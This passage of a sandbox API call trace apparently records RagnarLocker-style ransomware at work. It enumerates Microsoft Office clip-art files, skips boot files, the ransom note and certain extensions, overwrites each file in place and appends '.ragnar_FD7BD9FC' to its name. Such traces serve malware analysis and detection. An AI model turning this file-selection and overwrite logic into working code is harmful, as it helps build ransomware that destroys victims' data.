lpString2="iconcache.db") returned 1 [0092.381] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="ntldr") returned 1 [0092.381] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="ntuser.dat") returned 1 [0092.381] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="ntuser.dat.log") returned 1 [0092.381] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="ntuser.ini") returned 1 [0092.381] lstrcmpiW (lpString1="SPRNG_01.MID", lpString2="thumbs.db") returned -1 [0092.381] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0092.381] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0092.381] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0092.381] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0092.381] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0092.381] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0092.381] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0092.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0092.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.381] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6700) returned 1 [0092.381] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.382] GetProcessHeap () returned 0x580000 [0092.382] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.382] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.383] VirtualAlloc (lpAddress=0x0, dwSize=0x1a2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.383] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a2c, lpOverlapped=0x0) returned 1 [0092.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.384] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.384] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a2c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a2c, lpOverlapped=0x0) returned 1 [0092.384] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.384] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.385] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.385] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.385] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.385] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.385] GetProcessHeap () returned 0x580000 [0092.385] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.385] CloseHandle (hObject=0xf4) returned 1 [0092.385] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" [0092.385] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.ragnar_FD7BD9FC" [0092.385] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.386] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUBBY1.WMF", cAlternateFileName="")) returned 1 [0092.386] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.386] lstrcpyW (in: lpString1=0x1eb62e, lpString2="STUBBY1.WMF" | out: lpString1="STUBBY1.WMF") returned="STUBBY1.WMF" [0092.386] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF") returned=".WMF" [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="autorun.inf") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="boot.ini") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="bootfont.bin") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="bootsect.bak") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="bootmgr") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="bootmgr.efi") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="bootmgfw.efi") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="desktop.ini") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="iconcache.db") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="ntldr") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="ntuser.dat") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="ntuser.dat.log") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="ntuser.ini") returned 1 [0092.386] lstrcmpiW (lpString1="STUBBY1.WMF", lpString2="thumbs.db") returned -1 [0092.386] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.386] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.386] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.386] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.386] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.386] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.386] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf")) returned 0x20 [0092.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.388] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3030) returned 1 [0092.388] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbcd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.388] GetProcessHeap () returned 0x580000 [0092.388] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.388] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.389] VirtualAlloc (lpAddress=0x0, dwSize=0xbd6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.389] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbd6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbd6, lpOverlapped=0x0) returned 1 [0092.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.390] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbd6, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.390] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbd6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbd6, lpOverlapped=0x0) returned 1 [0092.390] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbd6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.390] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.390] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.390] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.393] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.393] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.393] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.393] GetProcessHeap () returned 0x580000 [0092.393] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.393] CloseHandle (hObject=0xf4) returned 1 [0092.393] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" [0092.393] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.ragnar_FD7BD9FC" [0092.393] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.394] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUBBY2.WMF", cAlternateFileName="")) returned 1 [0092.394] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.394] lstrcpyW (in: lpString1=0x1eb62e, lpString2="STUBBY2.WMF" | out: lpString1="STUBBY2.WMF") returned="STUBBY2.WMF" [0092.394] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF") returned=".WMF" [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="autorun.inf") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="boot.ini") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="bootfont.bin") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="bootsect.bak") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="bootmgr") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="bootmgr.efi") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="bootmgfw.efi") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="desktop.ini") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="iconcache.db") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="ntldr") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="ntuser.dat") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="ntuser.dat.log") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="ntuser.ini") returned 1 [0092.394] lstrcmpiW (lpString1="STUBBY2.WMF", lpString2="thumbs.db") returned -1 [0092.394] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.394] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.394] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.394] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.394] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.394] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.394] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf")) returned 0x20 [0092.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.395] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2582) returned 1 [0092.395] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.395] GetProcessHeap () returned 0x580000 [0092.395] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.395] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.397] VirtualAlloc (lpAddress=0x0, dwSize=0xa16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.397] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa16, lpOverlapped=0x0) returned 1 [0092.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.397] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa16, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.397] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa16, lpOverlapped=0x0) returned 1 [0092.397] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.397] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.397] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.398] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.398] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.398] GetProcessHeap () returned 0x580000 [0092.398] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.398] CloseHandle (hObject=0xf4) returned 1 [0092.398] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" [0092.398] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.ragnar_FD7BD9FC" [0092.398] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.399] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x36dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMER_01.MID", cAlternateFileName="")) returned 1 [0092.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.399] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SUMER_01.MID" | out: lpString1="SUMER_01.MID") returned="SUMER_01.MID" [0092.399] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned=".MID" [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="autorun.inf") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="boot.ini") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="bootfont.bin") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="bootsect.bak") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="bootmgr") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="bootmgr.efi") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="bootmgfw.efi") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="desktop.ini") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="iconcache.db") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="ntldr") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="ntuser.dat") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="ntuser.dat.log") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="ntuser.ini") returned 1 [0092.399] lstrcmpiW (lpString1="SUMER_01.MID", lpString2="thumbs.db") returned -1 [0092.399] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0092.399] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0092.399] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0092.399] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0092.399] lstrcmpiW 